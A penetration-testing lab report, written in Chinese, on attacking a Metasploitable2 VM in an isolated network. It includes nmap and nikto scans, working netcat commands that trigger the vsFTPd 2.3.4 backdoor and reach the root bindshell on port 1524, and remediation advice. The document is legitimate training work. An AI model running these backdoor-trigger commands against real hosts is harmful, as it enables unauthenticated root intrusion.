隔离网络渗透测试实验室:使用 nmap/nikto 进行枚举,并手动利用 Metasploitable2(vsFTPd 后门 CVE-2011-2523、bindshell),附带完整技术报告。
作者: Daniel Stefan de Jesus dos Reis
日期: 2026年9月
环境: 隔离虚拟网络 pentestlab 中的个人 KVM 实验室
本次测试仅针对一台自有且故意存在漏洞的虚拟机进行,该虚拟机由 Rapid7 专门分发用于攻击性安全培训,位于一个无互联网出口的隔离虚拟网络中。未访问任何第三方系统。本项目仅用于教育目的,旨在培养入侵测试技能。
pentestlab(网桥 virbr-lab),子网 192.168.100.0/24,未配置 <forward> —— 即一个真正隔离的网络:虚拟机之间以及与宿主机之间可以通信,但没有通往实验室外部的路由。网络 XML 见 evidencias/pentestlab_network.xml。virbr-lab 接口,配备 nmap、nikto、gobuster、hydra、sqlmap 和 netcat。metasploitable2(Metasploitable2,修改版 Ubuntu 8.04),IP 192.168.100.90/24,通过隔离网络自身的 DHCP 分配。[ Host / Atacante ]
|
virbr-lab (rede isolada, sem saída para internet)
|
[ metasploitable2 ]
我遵循了基本的流程:侦察 → 枚举 → 利用 → 记录:
nmap -sV -sC -p-)nikto)nc 完成,以理解每个漏洞的机制,而不仅仅是“运行漏洞利用程序”命令:nmap -sV -sC -p- -T4 192.168.100.90
完整输出:evidencias/nmap_full_scan.txt
发现的最相关服务摘要:
2011年6月30日至2011年7月3日期间,可供下载的 vsFTPd 2.3.4 源代码被攻击者篡改。被植入后门的版本包含一个后门:当 FTP 登录的用户名字段收到以 :) 结尾的字符串时,服务器会在 TCP 端口 6200 上打开一个 root shell,无需任何认证。
执行的步骤(完整日志见 evidencias/vsftpd_backdoor_exploit.txt):
# 1. Disparar a backdoor enviando USER terminado em ":)"
( printf 'USER test:)\r\n'; sleep 1; printf 'PASS test\r\n'; sleep 2 ) | nc -w 5 192.168.100.90 21
# 2. Conectar na porta 6200, aberta pela backdoor
( printf 'whoami\n'; printf 'id\n'; printf 'uname -a\n'; sleep 2 ) | nc -w 5 192.168.100.90 6200
结果:
uid=0(root) gid=0(root)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
在无需认证的情况下获得了完整的 root 访问权限。
nmap 已将该服务识别为 Metasploitable root shell —— 这是镜像中故意留下的后门(先前漏洞利用的残留,在培训镜像中很常见)。无需利用:直接连接即可。
( printf 'whoami\n'; printf 'id\n'; sleep 2 ) | nc -w 4 192.168.100.90 1524
结果: uid=0(root) gid=0(root) groups=0(root) —— 立即获得 root。
完整日志见 evidencias/bindshell_1524.txt。
运行在端口 6667/6697 上的 UnrealIRCd 版本对应一个历史上带有后门的构建(命令 AB; 后跟一个 shell 命令)。我尝试通过 nc 手动触发该后门,但服务器将输入视为无效的 IRC 命令(451 :You have not registered),而不是执行命令 —— 要么该特定镜像不包含被木马化的二进制文件,要么该 payload 需要精细调整,而我在本轮中未优先处理。我将其记录为未成功的尝试,而非已确认的漏洞。
分布式编译服务,接受任何连接客户端发送的任意命令,无需认证。通过版本识别,本轮未利用。
历史上易受通过反序列化实现的远程代码执行攻击。通过版本识别,本轮未利用。
命令:nikto -h 192.168.100.90 -p 80
完整输出:evidencias/nikto_scan.txt
主要发现:
TRACE 处于启用状态(潜在的 XST)/phpinfo.php 公开暴露(泄露 PHP 配置)/phpMyAdmin/ 可访问,无 IP 限制/doc/、/test/ 和 /icons/ 启用了目录列表httponly 标志pentestlab 网络添加第二台专用攻击机(例如 Kali Linux),而不是直接从宿主机发起攻击| 端口 | 服务 | 版本 | 备注 |
|---|
| 21/tcp | FTP | vsftpd 2.3.4 | 允许匿名登录 + 已知后门 |
| 22/tcp | SSH | OpenSSH 4.7p1 | 已过时 |
| 23/tcp | Telnet | Linux telnetd | 明文协议 |
| 25/tcp | SMTP | Postfix | — |
| 80/tcp | HTTP | Apache 2.2.8 + PHP 5.2.4 | phpMyAdmin 和 phpinfo.php 暴露 |
| 139/445/tcp | SMB | Samba 3.0.20-Debian | 消息签名已禁用 |
| 1099/tcp | Java RMI | GNU Classpath grmiregistry | 历史上易受 RCE 攻击 |
| 1524/tcp | bindshell | — | root shell 已开放,无需认证 |
| 3306/tcp | MySQL | 5.0.51a-3ubuntu5 | — |
| 3632/tcp | distccd | v1 | 历史上易受 RCE 攻击(CVE-2004-2687) |
| 5432/tcp | PostgreSQL | 8.3.0–8.3.7 | — |
| 5900/tcp | VNC | 协议 3.3 | — |
| 6667/6697/tcp | IRC | UnrealIRCd 3.2.8.1 | 该版本与已知后门相关 |
| 8180/tcp | HTTP | Apache Tomcat 5.5 | — |
| 发现 | 建议 |
|---|
| vsFTPd 2.3.4 后门 | 切勿使用非官方/未经验证来源的二进制文件;安装前验证软件包的哈希/签名 |
| 端口 1524 上的 Bindshell | 定期审计开放端口(定期内部 nmap);任何未记录的 shell 都是安全事件 |
| distccd 暴露且无认证 | 通过防火墙限制为受信任主机,或在不进行活跃分布式构建时禁用 |
| phpMyAdmin/phpinfo.php 暴露 | 通过 IP/VPN 限制访问,切勿公开暴露管理工具 |
| Apache/PHP 过时 | 保持补丁管理流程处于活跃状态 |
| 启用了目录列表 | 在 Apache 中禁用 Options Indexes |
| SMB 消息签名已禁用 | 启用 server signing = mandatory |